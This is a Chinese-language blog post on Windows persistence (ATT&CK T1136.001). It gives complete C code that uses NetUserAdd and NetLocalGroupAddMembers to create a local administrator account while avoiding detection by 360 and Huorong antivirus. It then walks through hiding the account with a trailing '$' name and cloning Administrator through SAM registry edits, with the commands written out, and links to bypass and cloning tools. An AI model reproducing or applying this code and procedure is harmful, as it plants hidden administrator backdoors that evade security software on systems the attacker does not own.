权限维持之创建本地账号(T1136.001)

 
一般添加用户账号会被AV检测到,但是我们可以使用 Windows 的 API进行绕过
 

使用到的API函数

 

//添加一个用户账号
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);
//将用户添加到指定的组,这里我们肯定是添加到管理员组啦
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  LPCWSTR servername,
  LPCWSTR groupname,
  DWORD   level,
  LPBYTE  buf,
  DWORD   totalentries
);

 
微软给的Demo : https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
 

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t *argv[])
{
   USER_INFO_1 ui;
   DWORD dwLevel = 1;
   DWORD dwError = 0;
   NET_API_STATUS nStatus;

   if (argc != 3)
   {
      fwprintf(stderr, L"Usage: %s \\\\ServerName UserName\n", argv[0]);
      exit(1);
   }
   //
   // Set up the USER_INFO_1 structure.
   //  USER_PRIV_USER: name identifies a user, 
   //    rather than an administrator or a guest.
   //  UF_SCRIPT: required 
   //
   ui.usri1_name = argv[2];
   ui.usri1_password = argv[2];
   ui.usri1_priv = USER_PRIV_USER;
   ui.usri1_home_dir = NULL;
   ui.usri1_comment = NULL;
   ui.usri1_flags = UF_SCRIPT;
   ui.usri1_script_path = NULL;
   //
   // Call the NetUserAdd function, specifying level 1.
   //
   nStatus = NetUserAdd(argv[1],
                        dwLevel,
                        (LPBYTE)&ui,
                        &dwError);
   //
   // If the call succeeds, inform the user.
   //
   if (nStatus == NERR_Success)
      fwprintf(stderr, L"User %s has been successfully added on %s\n",
               argv[2], argv[1]);
   //
   // Otherwise, print the system error.
   //
   else
      fprintf(stderr, "A system error has occurred: %d\n", nStatus);

   return 0;
}

 
当然,我们要的是管理员权限,因此在使用 NetLocalGroupAddMembers 添加为管理员
 

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>
#include<stdlib.h>
#include<Shlobj.h>


int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;
    BOOL Isadmin = IsUserAnAdmin();
    if (argc <3)
    {
        fwprintf(stderr, L"Usage: %s  UserName Password\n", argv[0]);
        exit(1);
    }
    if (!Isadmin) {
        fwprintf(stderr,L"[-] Run as administrator level");
        exit(1);
    }
    //
    // Set up the USER_INFO_1 structure.
    //  USER_PRIV_USER: name identifies a user, 
    //    rather than an administrator or a guest.
    //  UF_SCRIPT: required 
    //
    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;
    //
    // Call the NetUserAdd function, specifying level 1.
    //
    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);
    //
    // If the call succeeds, inform the user.
    //
    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added on %s\n",
            argv[2], argv[1]);
    //
    // Otherwise, print the system error.
    //
    else {
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);
    }
    NET_API_STATUS gStatus;
    LOCALGROUP_MEMBERS_INFO_3 gi;
    gi.lgrmi3_domainandname = ui.usri1_name;
    
    DWORD level = 3;
    DWORD totalentries = 1;

    gStatus = NetLocalGroupAddMembers(NULL, L"Administrators", level, (LPBYTE)&gi, totalentries);
    if (gStatus == NERR_Success)
    {
        fwprintf(stderr, L"[+] User %s has been added into administrators\n", argv[1]);
    }
    else
    {
        fwprintf(stderr, L"[-] A system error has occurred: %d\n", gStatus);
    }
    return 0;
}

 

 
过程中 360 火绒 皆无反应

 

 
最后在推荐一个工具
 
https://github.com/bopin2020/net_user_tools_bypass_hook_net.exe
 
一般来说,不仅仅是添加用户会被拦截,删除用户等操作也是会被拦截的,这个工具已经集合了这些功能了
 

如何有效隐藏用户账户

 
一般做权限维持的话就要思考如何将我们添加的用户隐蔽起来
 
首先你可以去添加以 $ 结尾的用户
 

.\AddUser.exe qwerty$ pass@123 

 

 
使用 net user 命令是看不出来的,但是你能够在控制面板或者 net user qwerty$ 中看见,高版本Windows中在注销后也可以看见
 

 
测试克隆用户
 
这里面我们克隆一下 Administrator 用户测试(需要保证你的管理员账户是激活的,不然克隆后也是禁用状态)
 
想将我们的注册表的 SAM 项的权限改为 administrator可以完全控制
 
在注册表中找到我们添加的用户,并且导出为1.reg(并且记录其 注册表项的默认值,我这里是 0x3fd)
 

 

 
再根据类型值导出这个项 2.reg
 
默认情况下 Administrator 的类型值为 0x1f4
 
我们根据这个导出他的注册表项 3.reg
 

 
接下将 2.reg 中的F 值替换为 3.reg中的F值(其实就是注册表下的 F 项的值替换)
 

 
接下来就这样操作
 

net user qwerty$ /del    // 删除原有的账号
regedit  /s 1.reg        //重新导入
regedit /s 2.reg

 

 
那么这个克隆账号就做好了(在控制面板中看不到了),可以理解为这个账号指向了 administrator
 
不仅仅可以克隆其他管理员账户,其他的都可以.
 
三好师傅也给了一键利用的脚本
 
https://github.com/3gstudent/Windows-User-Clone/blob/master/Windows-User-Clone.ps1
 

 
至于如何提升至 System 权限,可以参考上文中的令牌窃取
 

参考

 
https://www.cnblogs.com/17bdw/p/6790197.html

https://github.com/bopin2020/net_user_tools_bypass_hook_net.exe

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/

posted @ 2020-10-20 12:13  Zahad003  阅读(360)  评论(0编辑  收藏  举报